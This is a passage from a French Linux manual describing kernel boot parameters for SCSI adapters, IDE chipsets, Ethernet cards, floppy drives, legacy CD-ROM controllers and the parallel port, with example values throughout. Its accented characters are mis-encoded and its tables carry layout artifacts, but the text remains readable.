  24017.      ||                         |x = 0  pour interruption sur front (edge triggered)     |
  24018.      ||                         |x = 1  pour interruption sur niveau (level-sensitive)  |
  24019.      ||                         |verbose                                                                   |
  24020.      ||                         |pour l'augmentation du nombre des messages         |
  24021.      ||                         |reverse_scan                                                              |
  24022.      ||                         |lorsque plusieurs cartes du BIOS ne sont                |
  24023.      ||                         |pas traitΘes correctement                                       |
  24024.      ||                         |7895_irq_hack  :           <x>                                            |
  24025.      ||                         |x = -1   pour cartes mΦres Tyan II                            |
  24026.      ||                         |pci_parity  :         <x>                                                 |
  24027.      ||                         |par dΘfaut : paritΘ paire,                                         |
  24028.      ||                         |x = 0  pas de contr⌠le de paritΘ,                               |
  24029.      ||                         |x = 1  paritΘ impaire                                               |
  24030.      ||                         |tag_info  :```                                                            |
  24031.      ||                         |Gestion de la file d'attente pour l'accroissement      |
  24032.      ||                         |de la performance,                                                |
  24033.      ||_________________________|pour_experts_(voir_les_sources_du_noyau)_________________|__________________
  24034.  
  24035.     Exemple :    aic7xxx=no_reset              ,
  24036.     si la machine plante α la rΘinitialisation du bus SCSI.
  24037.  
  24038.     Pour  les  adaptateurs  h⌠tes  SCSI  basΘs  sur  aic7xxx ,  les  paramΦtres  ne
  24039.     sont  nΘcessaires  que  dans  le  cas  o∙  la  fonction  s'avΦre  dΘfectueuse  ou
  24040.     insatisfaisante.
  24041.  
  24042.     Le AHA-2940 AU ne fonctionne de faτon fiable qu'α partir de la version
  24043.     1.3 du BIOS. Il est possible d'obtenir des mises α jour en s'adressant au
  24044.     support technique Adaptec.
  24045.  
  24046.     L'adaptateur h⌠te SCSI Adaptec 2920 n'est pas gΘrΘ par ce pilote mais
  24047.     par le pilote Future Domain (paragraphe 14.3.2 page suivante) !
  24048.  
  24049.  
  24050.  
  24051. ~   AdvanSys adaptateur h⌠te SCSI
  24052.  
  24053.     advansys=<addr1>,<addr2>,...,<addr4>,<debug_level>
  24054.  
  24055.     Exemple :    advansys=0x110,0x210
  24056.  
  24057.     Cet exemple fait savoir au noyau qu'il doit rechercher l'adaptateur h⌠te
  24058.     AdvanSys aux adresses spΘcifiΘes.
  24059.  
  24060.  
  24061.  
  24062. ~   AM53/79C974 adaptateur h⌠te SCSI
  24063.  
  24064.     AM53C974=<id  h⌠te>,<id  cible>,<taux>,<offset>
  24065.  
  24066.  
  24067.                                                                                                                                    *
  24068.  * 373
  24069. 14.  ParamΦtres du_noyau___________________________________________________________________________________________________________*
  24070.  *_______________________________________@
  24071.  
  24072.  
  24073.  
  24074.                                  ___________________________________________________________________________________________
  24075.                                  |__Variable___________|_____Valeurs_/_Signification______________________________|__________
  24076.                                  |  <id  h⌠te>             | ID SCSI de l'adaptateur h⌠te, souvent 7      |
  24077.                                  |  <id  cible>            | ID SCSI du pΘriphΘrique 0..7                      |
  24078.                                  |  <taux>                 | 3,5,10      MHz/s taux maximal de transfert  |
  24079.                                  |__<offset>_______________|_Mode_de_transfert_;_0__=_asynchrone____________|_______________
  24080.  
  24081.                                  Lorsque  l'adaptateur  h⌠te  semble  ``avaler  de  travers'',  on  rΘduit  le  taux
  24082.                                  maximal de transfert pour le pΘriphΘrique (par exemple le premier lecteur
  24083.                                  de CD-ROM SCSI /dev/scd0 avec ID 5) sur le bus SCSI :
  24084.                                  Exemple :    AM53C974=7,5,3,0
  24085.                                  Pour chaque pΘriphΘrique, on peut ajouter des taux et des modes de trans-
  24086.                                  fert  et  il  est  alors  possible  que  AM53C974=x,x,x,x               apparaisse  jusqu'α
  24087.                                  sept fois pour un adaptateur h⌠te.
  24088.  
  24089.  
  24090.                              ~   BusLogic ~ adaptateur h⌠te SCSI
  24091.                                  BusLogic=<addr>
  24092.                                  BusLogic=<probing>
  24093.                                  Exemple :    BusLogic=0x300
  24094.                                  __________________________________________________________________________________________________*
  24095.  *____________________
  24096.                                  |__Variable_________|_____Valeurs_/_Signification_________________________________________________*
  24097.  *___________|_________
  24098.  
  24099.                                  |  <addr>               | Adresse de l'adaptateur, par exemple 0x300                              *
  24100.  *   |
  24101.                                  |  <probing>            | NoProbe       Il n'est pas recherchΘ d'adaptateur                       *
  24102.  *     |
  24103.                                  |                       | NoProbeISA          Il n'est pas recherchΘ d'adaptateur ISA             *
  24104.  *   |
  24105.                                  |                       | NoProbePCI          Il n'est pas recherchΘ d'adaptateur PCI             *
  24106.  *   |
  24107.                                  |                       | NoSortPCI         L'ordre des adaptateurs multimaεtres                  *
  24108.  *   |
  24109.                                  |                       | est dΘterminΘ par le BIOS du PCI                                        *
  24110.  *   |
  24111.                                  |                       | MultiMasterFirst               Multimaster avant Flashpoint             *
  24112.  *     |
  24113.                                  |                       | FlashPointFirst              Flashpoint avant Multimaster               *
  24114.  *     |
  24115.                                  |                       | InhibitTargetInquiry                   Pour vieux pΘriphΘriques qui     *
  24116.  *      |
  24117.                                  |                       | ont des problΦmes avec scsi_luns         > 0.                           *
  24118.  *      |
  24119.                                  |                       | TraceProbe          affiche des messages supplΘmentaires                *
  24120.  *  |
  24121.                                  |                       | lors de l'initialisation de l'adaptateur                                *
  24122.  *       |
  24123.                                  |                       | TraceHardwareReset                 affiche des messages supplΘmentaires *
  24124.  * |
  24125.                                  |                       | lors de la rΘinitialisation matΘrielle de l'adaptateur                  *
  24126.  * |
  24127.                                  |                       | TraceConfiguration                 affiche des messages supplΘmentaires *
  24128.  * |
  24129.                                  |                       | lors de la configuration de l'adaptateur                                *
  24130.  *    |
  24131.                                  |                       | TraceErrors           affiche les messages d'erreur des                 *
  24132.  *      |
  24133.                                  |                       | pΘriphΘriques connectΘs                                                 *
  24134.  *        |
  24135.                                  |_______________________|_Debug_____affiche_tout__________________________________________________*
  24136.  *________________|___
  24137.  
  24138.                                  Cet  adaptateur  h⌠te  peut  encore  Ωtre  configurΘ  au  moyen  de  plusieurs
  24139.                                  autres paramΦtres. Ceci a pour but d'affiner la configuration et se trouve
  24140.                                  dΘcrit dans /usr/src/linux/drivers/scsi/README.BusLogic.
  24141.  
  24142.  
  24143.                              ~   Future Domain, adaptateur h⌠te SCSI TMC-16x0
  24144.                                  fdomain=<addr>,<irq>[,<id>]
  24145.                                  ________________________________________________________________________
  24146.                                  |__Variable__|_____Valeurs_/_Signification_____________________|_________
  24147.  
  24148.                                  |__<id>___________|ID_SCSI_de_l'adaptateur_h⌠te_0..7______|_____________
  24149.  
  24150. 374
  24151.        __________________________________________________________________________________________________14.3.__Les_paramΦtres_____*
  24152.  *______________________
  24153.  
  24154.  
  24155.  
  24156.       Ce pilote gΦre aussi l'adaptateur h⌠te SCSI Adaptec 2920 .
  24157.       Exemple :    fdomain=0x140,11,7
  24158.  
  24159.  
  24160.   ~   Future Domain, adaptateur h⌠te TMC-885/950
  24161.       tmc8xx=<addr>,<irq>
  24162.       Exemple :    tmc8xx=0xca000,5
  24163.  
  24164.  
  24165.   ~   NCR 5380, famille d'adaptateurs h⌠tes SCSI
  24166.       ncr5380=<addr>,<irq>,<dma>
  24167.       Exemple :    ncr5380=0x340,10,3
  24168.  
  24169.  
  24170.   ~   NCR 53c400, famille d'adaptateurs h⌠tes SCSI
  24171.       ncr53c400=<addr>,<irq>
  24172.       Exemple :    ncr53c400=0x350,5
  24173.       Ce pilote gΦre par exemple l'adaptateur h⌠te trΦs rΘpandu Trantor T130B
  24174.   ~   NCR 53c406a, famille d'adaptateurs h⌠tes SCSI
  24175.       ncr53c406a=<addr>[,<irq>[,<fastpio>]]
  24176.        ______________________________________________________________________________________________________
  24177.        ||__Variable_________|___Valeurs_/_Signification__________________________________________|____________
  24178.  
  24179.        ||__<fastpio>____________|0,_s'il_n'est_pas_souhaitΘ_un_mode_PIO_plus_rapide__|_______________________
  24180.  
  24181.       Exemple :    ncr53c406a=0x330,10,0
  24182.  
  24183.  
  24184.   ~   Seagate ST01/02, adaptateur h⌠te SCSI
  24185.       st0x=<addr>,<irq>
  24186.       Exemple :    st0x=0xc8000,5
  24187.  
  24188.  
  24189.   ~   Trantor T128/128F/228, adaptateur h⌠te SCSI
  24190.       t128=<addr>,<irq>
  24191.       Exemple :    t128=0x340,10
  24192.  
  24193.  
  24194. Contr⌠leurs (E)IDE et pΘriphΘriques ATAPI
  24195.  
  24196. De  nombreux  paramΦtres  peuvent  Ωtre  utilisΘs  pour  la  configuration  du                                     Contr⌠leurs
  24197. contr⌠leur (E)IDE et des pΘriphΘriques qui y sont connectΘs.                                                       (E)IDE
  24198.                                                                                                                    PΘriphΘriques
  24199.   ~   CD-ROM ATAPI reliΘ au contr⌠leur (E)IDE                                                                      ATAPI
  24200.       hd<x>=cdrom
  24201.       hd<x>=serialize
  24202.        ________________________________________________________________________
  24203.        ||__Variable__|___Valeurs_/_Signification___________________|____________
  24204.  
  24205.        ||  <x>           a|, b , c , d , avec dans ce cas :           |
  24206.        ||                a| maεtre au 1er contr⌠leur IDE       |
  24207.        ||                b| esclave au 1er contr⌠leur IDE      |
  24208.        ||                c| maεtre au 2Φme contr⌠leur IDE    |
  24209.        ||________________d|_esclave_au_2Φme_contr⌠leur_IDE__|__________________
  24210.  
  24211.                                                                                                                                    *
  24212.  *   375
  24213. 14.  ParamΦtres du_noyau___________________________________________________________________________________________________________*
  24214.  *_______________________________________@
  24215.  
  24216.  
  24217.  
  24218.                                  Exemple :
  24219.                                  On fera connaεtre un lecteur de CD-ROM ATAPI connectΘ en mode maεtre
  24220.                                  au 2Φme contr⌠leur IDE par hdc=cdrom        .
  24221.  
  24222.  
  24223.                              ~   Disque dur
  24224.                                  hd<x>=<cylindres>,<tΩtes>,<secteurs>[,<Θcriture>[,<irq>]]
  24225.                                  __________________________________________________________________________________________________*
  24226.  *__________
  24227.                                  |__Variable_____________|_____Valeurs_/_Signification_____________________________________________*
  24228.  *_|_________
  24229.  
  24230.                                  |  <x>                      | a , b , : : :, h   1er au 8Φme disque dur.                          |
  24231.                                  |  <cylindres>              | Nombre de cylindres                                                |
  24232.                                  |  <tΩtes>                  | Nombre de tΩtes                                                     *
  24233.  * |
  24234.                                  |  <secteurs>               | Nombre de secteurs                                                 |
  24235.                                  |  <Θcriture>               | Cylindre α partir duquel la compensation en Θcriture  |
  24236.                                  |                           | est appliquΘe                                                       *
  24237.  *    |
  24238.                                  |__<irq>____________________|_Interrupt___________________________________________________________*
  24239.  *______|___
  24240.  
  24241.                                  Si le BIOS est dΘjα vieux, il peut arriver que la gΘomΘtrie exacte du disque
  24242.                                  ne soit pas reconnue. Les paramΦtres corrects seront alors transmis d'une
  24243.                                  maniΦre  qui  permette  quand  mΩme  au  noyau  d'accΘder  α  la  totalitΘ  du
  24244.                                  disque.
  24245.                                  Exemple :    hdc=1050,32,64
  24246.                                  hd<x>=<trouble>
  24247.                                  __________________________________________________________________________________________________*
  24248.  *________________
  24249.                                  |__Variable_________|_____Valeurs_/_Signification_________________________________________________*
  24250.  *_______|_________
  24251.  
  24252.                                  |  <x>                  | a , b , : : :, h  1er au 8Φme disque dur                                *
  24253.  *      |
  24254.                                  |  <trouble>            | noprobe      , lorsqu'il s'avΦre problΘmatique de tester               |
  24255.                                  |                       | un disque dur existant                                                  *
  24256.  *       |
  24257.                                  |                       | none    Ignorer l'entrΘe CMOS et ne pas faire de test               |
  24258.                                  |                       | nowerr      Ignorer le bit WREE`STAT                                    |
  24259.                                  |                       | cdrom     reconnu par erreur comme disque dur ou                   |
  24260.                                  |                       | pas du tout reconnu, ou Θchec de l'amorτage                        |
  24261.                                  |                       | autotune        utilisation du mode PIO le plus rapide                 |
  24262.                                  |                       | slow    chaque accΦs est suivi d'une longue pause,                  |
  24263.                                  |                       | provoque un net ralentissement, rΘsoud parfois le problΦme  |
  24264.                                  |_______________________|_et_constitue_la_derniΦre_possibilitΘ____________________________________*
  24265.  *____|___________
  24266.  
  24267.                                  Lorsqu'un lecteur de CD-ROM n'est pas reconnu de faτon fiable, la spΘ-
  24268.                                  cification de <cdrom>         peut rΘsoudre ce problΦme.
  24269.                                  Exemple :    hdd=cdrom
  24270.  
  24271.  
  24272.                              ~   Chipsets pour contr⌠leurs EIDE
  24273.                                  ide0=<Chipsatz>
  24274.                                  Une sΘrie de contr⌠leurs EIDE possΦde des chipsets dΘfectueux ou pose
  24275.                                  des problΦmes lorsque le deuxiΦme contr⌠leur doit Ωtre utilisΘ.
  24276.                                  Pour  un  grand  nombre  de  ces  chipsets,  il  existe  donc  maintenant  dans
  24277.                                  le  noyau  un  support  spΘcial  qui  doit  toutefois  encore  Ωtre  activΘ  par  un
  24278.                                  paramΦtre du noyau.
  24279.                                  Les chipsets suivants peuvent Ωtre configurΘs :
  24280. 376
  24281.  __________________________________________________________________________________________________14.3.__Les_paramΦtres___________*
  24282.  *________________
  24283.  
  24284.  _____________________________________________________________________________________________________________
  24285.  
  24286.  
  24287. CMD  640                         Ce  chipset  se  trouve  sur  de  trΦs  nombreuses
  24288.                                  cartes  mΦres.  Mais  comme  il  est  trΦs  dΘ-
  24289.                                  fectueux,  le  noyau  offre  un  support  spΘcial
  24290.                                  qui  le  reconnaεt  et  contourne  ainsi  le  pro-
  24291.                                  blΦme.  En  outre,  l'utilisation  du  deuxiΦme
  24292.                                  contr⌠leur  n'est  possible,  dans  certains  cas,
  24293.                                  qu'au  moyen  du  code  spΘcial.  Dans  les  sys-
  24294.                                  tΦmes PCI, la puce est reconnue automatique-
  24295.                                  ment ;  dans  les  systΦmes  VLB,  il  est  nΘces-
  24296.                                  saire d'utiliser le paramΦtre du noyau suivant :
  24297.                                  ide0=cmd640_vlb              .
  24298. RZ  1000                         Cette  puce,  utilisΘe  sur  beaucoup  de  cartes
  24299.                                  mΦres avec le chipset Neptun est dΘfectueuse.
  24300.                                  Si  le  support  est  activΘ,  le  systΦme  fonction-
  24301.                                  nera  plus  lentement  mais  sans  incohΘrence.
  24302.                                  Une activation plus poussΘe α l'aide d'un pa-
  24303.                                  ramΦtre du noyau n'est pas nΘcessaire.
  24304. DTC-2278                         C'est seulement en activant ce pilote par le pa-
  24305.                                  ramΦtre ide0=dtc2278            que l'on peut utiliser
  24306.                                  le deuxiΦme contr⌠leur.
  24307. Holtek  HT6560B                  Pour  activer  le  deuxiΦme  contr⌠leur,  le  para-
  24308.                                  mΦtre suivant est nΘcessaire : ide0=ht6560b           .
  24309. QDI  QD6580                      En activant ce pilote, vous obtiendrez de plus
  24310.                                  grandes vitesses : ide0=qd6580          .
  24311. UMC  8672                        Pour  activer  le  deuxiΦme  contr⌠leur,  le  para-
  24312.                                  mΦtre suivant est nΘcessaire : ide0=umc8672           .
  24313. ALI  M1439/M1445                 Pour  activer  le  deuxiΦme  contr⌠leur,  le  para-
  24314.                                  mΦtre suivant est nΘcessaire : ide0=ali14xx           .
  24315. PROMISE  DC4030                  Pour  activer  le  deuxiΦme  contr⌠leur,  le  para-
  24316.                                  mΦtre  suivant  est  nΘcessaire  :  ide0=dc4030          .
  24317.                                  Les lecteurs de CD-ROM et lecteurs de bandes
  24318.                                  reliΘs au deuxiΦme contr⌠leur ne sont pas en-
  24319.                                  core supportΘs !
  24320.  
  24321.  _____________________________________________________________________________________________________________
  24322.  
  24323.                            Tab. 14.2: Chipsets particuliers
  24324. Si  le  chipset,  bien  que  ne  faisant  pas  partie  de  ceux  marquΘs  comme
  24325. dΘfectueux,  n'est  quand  mΩme  pas  reconnu,  il  est  possible  de  rΘsoudre
  24326. le problΦme en transmettant les paramΦtres suivants :
  24327.  
  24328.  
  24329. ide<nummer>=<basis>[,<control>[,<irq>]]
  24330.  
  24331.  
  24332.                                                                                                                                 377
  24333. 14.  ParamΦtres du_noyau___________________________________________________________________________________________________________*
  24334.  *_______________________________________@
  24335.  
  24336.  
  24337.  
  24338.                                  ________________________________________________________________________________________
  24339.                                  |__Variable_________|_____Valeurs_/_Signification_____________________________|__________
  24340.                                  |  <nummer>             | NumΘro de l'adaptateur,                          |
  24341.                                  |                       | souvent 0  ou 1 , mais aussi 3  ou 4              |
  24342.                                  |  <basis>              | Adresse de base de l'adaptateur,               |
  24343.                                  |                       | souvent 0x1f0     , 0x170     , 0x1e8      ou 0x168       |
  24344.                                  |  <control>            | Registre de contr⌠le de l'adaptateur,         |
  24345.                                  |                       | souvent 0x3f6     , 0x376     , 0x3ee      ou 0x36e       |
  24346.                                  |  <irq>                | Interruption de l'adaptateur,                     |
  24347.                                  |_______________________|_souvent_14__,_15__,_11___ou_10___________________________|____
  24348.  
  24349.                                  Si vous rencontrez des difficultΘs bien que le chipset ne fasse pas partie de
  24350.                                  ceux marquΘs comme dΘfectueux, vous pouvez y remΘdier en transmet-
  24351.                                  tant les paramΦtres suivants :
  24352.  
  24353.                                  ide<nummer>=<tune>
  24354.  
  24355.                                  __________________________________________________________________________________________________*
  24356.  *______________
  24357.                                  |__Variable_______|_____Valeurs_/_Signification___________________________________________________*
  24358.  *_____|_________
  24359.  
  24360.                                  |  <nummer>            |NumΘro de l'adaptateur, souvent 0  ou 1 , mais aussi 3  ou 4 .  |
  24361.                                  |  <tune>              |autotune        : tentative avec la valeur de PIO la plus               |
  24362.                                  |                      |ΘlevΘe ; n'est pas supportΘe par tous les chipsets                  |
  24363.                                  |                      |noautotune          : pas d'amΘlioration de la vitesse                    |
  24364.                                  |                      |serialize         : pas de chevauchement temporaire des             |
  24365.                                  |______________________|opΘrations_avec_le_prochain_adaptateur_h⌠te_________________________|_____*
  24366.  *______________
  24367.  
  24368.                                  Si  le  chipset  ne  fait  pas  partie  de  ceux  marquΘs  comme  dΘfectueux  et
  24369.                                  si  vous  voulez  obtenir  une  vitesse  maximale,  il  est  possible  de  faire
  24370.                                  connaεtre la vitesse du bus. Consultez la documentation qui accompagne
  24371.                                  votre carte mΦre.
  24372.  
  24373.                                  idebus=<speed>
  24374.  
  24375.  
  24376.                            Autres possibilitΘs
  24377.  
  24378.     Carte rΘseau
  24379.        Lecteur de            ~   Ethernet, carte rΘseau
  24380.         disquettes               ether=<irq>,<addr>[,<par1>[,<par2>...<par8>]],<nom>
  24381.  
  24382.  
  24383.                                  Les  divers  paramΦtres  de  <par1>         α  <par8>         ont  pour  les  diffΘrents
  24384.                                  pilotes  une  signification  diffΘrente.  La  plupart  du  temps,  il  suffit  (mais
  24385.                                  ce n'est mΩme pas toujours nΘcessaire) de spΘcifier deux paramΦtres qui
  24386.                                  sont l'adresse de dΘbut et l'adresse de fin de la zone de mΘmoire partagΘe
  24387.                                  (angl.  shared  memory).  Le  premier  argument  non  numΘrique  est  traitΘ
  24388.                                  comme Θtant le nom.
  24389.                                ____________________________________________________________________________________________________*
  24390.  *______
  24391.  
  24392.                                  <irq>               Interruption utilisΘe ; 0  pour dΘtection automatique.
  24393.                                  <addr>              Adresse de port ; 0  pour dΘtection automatique.
  24394.  
  24395.                                ____________________________________________________________________________________________________*
  24396.  *______
  24397.  
  24398.                                                      Tab. 14.3: Continuer α la page suivante...
  24399. 378
  24400.      __________________________________________________________________________________________________14.3.__Les_paramΦtres_______*
  24401.  *____________________
  24402.  
  24403.      _____________________________________________________________________________________________________________
  24404.  
  24405.  
  24406.     <start>             Adresse de dΘbut pour mΘmoire partagΘe (angl. shared
  24407.                         memory). Certains pilotes utilisent les 4 bits infΘrieurs
  24408.                         pour le niveau ``debug''. Le pilote Lance  utilise ces bits
  24409.                         pour le canal DMA.
  24410.     <end>               Adresse   de   fin   pour   mΘmoire   partagΘe.   Le   pilote
  24411.                         3COM3c503  utilise ce paramΦtre pour diffΘrencier les
  24412.                         transcepteurs internes des transcepteurs externes.
  24413.     <xcvr>              Type du transcepteur
  24414.                         La  carte  Cabletron  E21XX  utilise  les  4  bits  infΘrieurs
  24415.                         pour sΘlectionner le support.
  24416.     <Name>              Nom de l'interface (habituellement eth0    ).
  24417.  
  24418.      _____________________________________________________________________________________________________________
  24419.  
  24420.       Tab. 14.3: DΘnomination des variables pour cartes rΘseau Ethernet
  24421.  
  24422.  
  24423.     Ce  paramΦtre  est  le  plus  souvent  utilisΘ  pour  amener  le  noyau  α  recon-
  24424.     naεtre plus d'une carte rΘseau car normalement seule la premiΦre carte est
  24425.     recherchΘe. Ceci peut Ωtre obtenu par
  24426.  
  24427.           ether=0,0,eth1
  24428.  
  24429.  
  24430.     Tenez compte du fait qu'en spΘcifiant 0   pour la demande d'interruption
  24431.     (IRQ) et l'adresse, on ordonne au pilote de faire ce que l'on appelle une
  24432.     dΘtection  automatique  (angl.  autoprobing),  c'est-α-dire  d'essayer  diffΘ-
  24433.     rentes valeurs de faτon autonome.
  24434.  
  24435. ~   Lecteur de disquette
  24436.  
  24437.     floppy=<drive>,<type>,cmos
  24438.  
  24439.      _______________________________________________________________________
  24440.      ||__Variable_________|___Valeurs_/_Signification____________|___________
  24441.  
  24442.      ||  <lecteur>            |0, 1, 2, 3                               |
  24443.      ||  <type>               |0 - prend les valeurs CMOS   |
  24444.      ||                       |1 - 5.25 pouces DD, 360 KB  |
  24445.      ||                       |2 - 5.25 pouces HD, 1,2 MB   |
  24446.      ||                       |3 - 3.5 pouces DD, 720 KB    |
  24447.      ||                       |4 - 3.5 pouces HD, 1,44 MB   |
  24448.      ||                       |5 - 3.5 pouces ED, 2,88 MB   |
  24449.      ||                       |6 - 3.5 pouces ED, 2,88 MB   |
  24450.      ||_______________________|16__-_inconnu_ou_inexistant______|___________
  24451.  
  24452.  
  24453.     floppy=<valeur>
  24454.  
  24455.     Vous pouvez remplacer <valeur>          par les valeurs suivantes (tableau 14.4
  24456.     page suivante) :
  24457.  
  24458.  
  24459.                                                                                                                                    *
  24460.  * 379
  24461. 14.  ParamΦtres du_noyau___________________________________________________________________________________________________________*
  24462.  *_______________________________________@
  24463.  
  24464.                                ____________________________________________________________________________________________________*
  24465.  *______
  24466.  
  24467.  
  24468.                                  one_drives                                        Un seul lecteur de disquettes
  24469.                                  asus_pci                                          EmpΩche  l'accΦs  au  3Φme  et  au
  24470.                                                                                    4Φme lecteur de disquettes
  24471.                                  daring                                            Seulement pour les contr⌠leurs qui
  24472.                                                                                    ne  posent  aucun  problΦme  -  aug-
  24473.                                                                                    mente la performance
  24474.                                  0,daring                                          Le contraire de daring
  24475.                                  [<addr>,]two_fdc                                  Lorsque  la  valeur  pour  <addr>
  24476.                                                                                    est  omise  pour  deux  contr⌠leurs
  24477.                                                                                    de disquettes, on implicite pour le
  24478.                                                                                    deuxiΦme  contr⌠leur  de  disquette
  24479.                                                                                    une adresse de port de 0x370     .
  24480.                                  thinkpad                                          Ordinateur IBM Thinkpad
  24481.                                  0,thinkpad                                        Pas d'ordinateur Thinkpad
  24482.                                  omnibook                                          Ordinateur Omnibook
  24483.                                  nodma                                             Pour ordinateur Omnibook
  24484.                                  dma                                               Standard
  24485.                                  nofifo                                            S'il   apparaεt   un   message   "Bus
  24486.                                                                                    master  arbitration  error"
  24487.                                  fifo                                              Par dΘfaut
  24488.                                  0xX   ,fifo_depth                                 Seuil FIFO par dΘfaut 0xA
  24489.                                  unexpected_interrupts                             Afficher  un  avertissement  lorsque
  24490.                                                                                    des   interruptions   inattendues   se
  24491.                                                                                    produisent
  24492.                                  no_unexpected_interrupts                          Cette   valeur   donne   le   rΘsultat
  24493.                                                                                    inverse    de    celui    produit    par
  24494.                                                                                    unexpected_interrupts
  24495.                                  L40SX                                             idem
  24496.  
  24497.                                ____________________________________________________________________________________________________*
  24498.  *______
  24499.  
  24500.                                            Tab. 14.4: valeurs pour le paramΦtre du noyau floppy
  24501.                              ~   Logitech, souris bus
  24502.  
  24503.                                  bmouse=<irq>
  24504.  
  24505.  
  24506.                              ~   Contr⌠leur de disques durs XT
  24507.  
  24508.                                  xd=<typ>,<irq>,<addr>,<dma>
  24509.  
  24510.  
  24511.                            14.3.3       Lecteurs de CD-ROM connectΘs α des contr⌠leurs propriΘtaires
  24512.  
  24513.            Anciens
  24514.        lecteurs de           ~   Aztech CDA268-01, CD-ROM
  24515.         CD-ROM                   aztcd=<addr>[,0x79]
  24516.  
  24517.                                  La  valeur  0x79    ne  doit  Ωtre  spΘcifiΘe  que  dans  le  cas  d'une  version  de
  24518.                                  microprogramme (angl. firmware) inconnue.
  24519.  
  24520.                                  Exemple :    aztcd=0x320
  24521.  
  24522.  
  24523. 380
  24524.      __________________________________________________________________________________________________14.3.__Les_paramΦtres_______*
  24525.  *____________________
  24526.  
  24527.  
  24528.  
  24529. ~   Goldstar, lecteur de CD-ROM R420
  24530.     gscd=<addr>
  24531.  
  24532.  
  24533. ~   Mitsumi, lecteur de CD-ROM
  24534.     mcd=<addr>,<irq>[,<attente>]
  24535.      _____________________________________________________________________________________________
  24536.      ||__Variable_________|___Valeurs_/_Signification__________________________________|___________
  24537.  
  24538.      ||__<attente>____________|valeur_pour_le_temps_d'attente_au_dΘmarrage__|_____________________
  24539.  
  24540.     On peut faire varier le paramΦtre <attente>           dans une marge situΘe entre
  24541.     0  et 10   si le lecteur de CD-ROM a une rΘaction trop lente ("timeout")
  24542.     aux  requΩtes  du  systΦme,  ce  qui  peut  avoir  Θventuellement  pour  consΘ-
  24543.     quence que l'image de root n'est pas dΘtectΘe pendant l'installation.
  24544.     Exemple :    mcd=0x300,10,5
  24545.  
  24546.  
  24547. ~   Mitsumi, lecteur de CD-ROM (multisession)
  24548.     mcdx=<addr>,<irq>[,<addr>,<irq>]
  24549.     Exemple :    mcd=0x300,10            Jusqu'α 5 lecteurs sont supportΘs
  24550.  
  24551.  
  24552. ~   Interface Mozart
  24553.     isp16=[<addr>[,<irq>[,<dma>]]][[,]<typ>]
  24554.      _____________________________________________________________________________
  24555.      ||__Variable____|__Valeurs_/_Signification_______________________|____________
  24556.  
  24557.      ||__<type>_________S|anyo____,_Panasonic________,_Sony____,_Mitsumi_________|_
  24558.  
  24559.     Ce pilote gΦre des lecteurs de CD-ROM connectΘs α une carte son ISP16 ,
  24560.     MAD16  ou  Mozart .  La  valeur  pour  la  variable  <type>         dΘpend  du
  24561.     connecteur  d'interface  auquel  le  cΓble  du  CD-ROM  est  branchΘ  sur  la
  24562.     carte son.
  24563.     Exemple :    isp16=0x340,10,3,Sony
  24564.  
  24565.  
  24566. ~   Optics Storage, lecteur de CD-ROM 8000 AT
  24567.     optcd=<addr>
  24568.     Exemple :    optcd=0x340
  24569.  
  24570.  
  24571. ~   Philips, lecteur de CD-ROM CM206
  24572.     cm206=<addr>,<irq>
  24573.     Exemple :    cm206=0x340,10
  24574.  
  24575.  
  24576. ~   Pro Audio Spectrum 16, adaptateur h⌠te SCSI
  24577.     pas16=<addr>,<irq>
  24578.     La carte son Pro Audio Spectrum 16  est dotΘe d'un adaptateur h⌠te dont
  24579.     la configuration peut Ωtre communiquΘe au noyau avec ce paramΦtre.
  24580.     Exemple :    pas16=0x340,10
  24581.     Lorsque  la  reconnaissance  de  la  carte  a  ΘchouΘ,  elle  peut  se  faire  sans
  24582.     l'interruption. Dans ce cas, l'interruption sera positionnΘe α 255   .
  24583.     Exemple :    pas16=0x340,255
  24584.  
  24585.  
  24586.                                                                                                                                    *
  24587.  * 381
  24588. 14.  ParamΦtres du_noyau___________________________________________________________________________________________________________*
  24589.  *_______________________________________@
  24590.  
  24591.  
  24592.  
  24593.                              ~   Sanyo, lecteur de CD-ROM
  24594.                                  sjcd=<addr>
  24595.                                  Exemple :    sjcd=0x340
  24596.  
  24597.  
  24598.                              ~   Sony CDU 31/33 A
  24599.                                  cdu31a=<addr>,<irq>[,PAS]
  24600.                                  Pour ce qui concerne ce pilote, la dΘtection automatique (angl. autopro-
  24601.                                  bing) a complΦtement disparue du noyau, ce qui rend absolument indis-
  24602.                                  pensable une spΘcification des paramΦtres.
  24603.                                  Exemple :    cdu31a=0x340,5
  24604.                                  Si aucune interruption n'est prΘvue pour le lecteur, l'accΦs n'est possible
  24605.                                  que par interrogation (angl. polling) et il doit Ωtre spΘcifiΘ 0  comme IRQ.
  24606.                                  Exemple :    cdu31a=0x340,0
  24607.                                  Si ce lecteur est connectΘ α une carte Pro Audio Spectrum, les paramΦtres
  24608.                                  peuvent Ωtre les suivants :
  24609.                                  Exemple :    cdu31a=0x1f88,0,PAS
  24610.  
  24611.  
  24612.                              ~   Sony CDU 535
  24613.                                  sonycd535=<addr>,<irq>
  24614.                                  Exemple :    sonycd535=0x340,10
  24615.  
  24616.  
  24617.                              ~   Soundblaster Pro 16 MultiCD
  24618.                                  sbpcd=<addr>,<type>
  24619.                                  __________________________________________________________________________________________________*
  24620.  *__________________
  24621.                                  |__Variable____|____Valeurs_/_Signification_______________________________________________________*
  24622.  *________|__________
  24623.  
  24624.                                  |__<type>__________|LaserMate________,_SPEA____,_SoundBlaster___________,_SoundScape_________,_Tea*
  24625.  *c__16bit__________|
  24626.  
  24627.                                  Exemple :    sbpcd=0x230,SoundBlaster
  24628.  
  24629.                            Le port parallΦle
  24630.  
  24631.   Port parallΦle
  24632.  
  24633.                              ~   Port parallΦle
  24634.                                  parport=<addr0>,[<irq0>  [parport=<addr1>,[<irq1>
  24635.                                  [parport=<addr2>,[<irq2>]]]]]
  24636.                                  _________________________________________________________
  24637.                                  |__Variable_____|_____Valeurs_/_Signification__|__________
  24638.  
  24639.                                  |  <addrX>           |Adresse                       |
  24640.                                  |__<irqX>____________|Interruption_________________|_____
  24641.  
  24642.                                  Exemple :    parport=0x3bc  parport=0x378,7  parport=0x278,auto
  24643.  
  24644.  
  24645.                              ~   Imprimante sur port parallΦle
  24646.                                  lp=<parport0>  [lp=<parport1>  [lp=<parport2>]]
  24647.                                  ______________________________________________________________
  24648.                                  |__Variable___________|_____Valeurs_/_Signification__|_________
  24649.  
  24650.                                  |__<parportX>_____________|_Port_parallΦle_______________|____
  24651.  
  24652.                                  Exemple :    lp=parport0  lp=parport2
  24653.                                  Exemple :    lp=0x278,5,0x378,7
  24654.  
  24655.  
  24656. 382
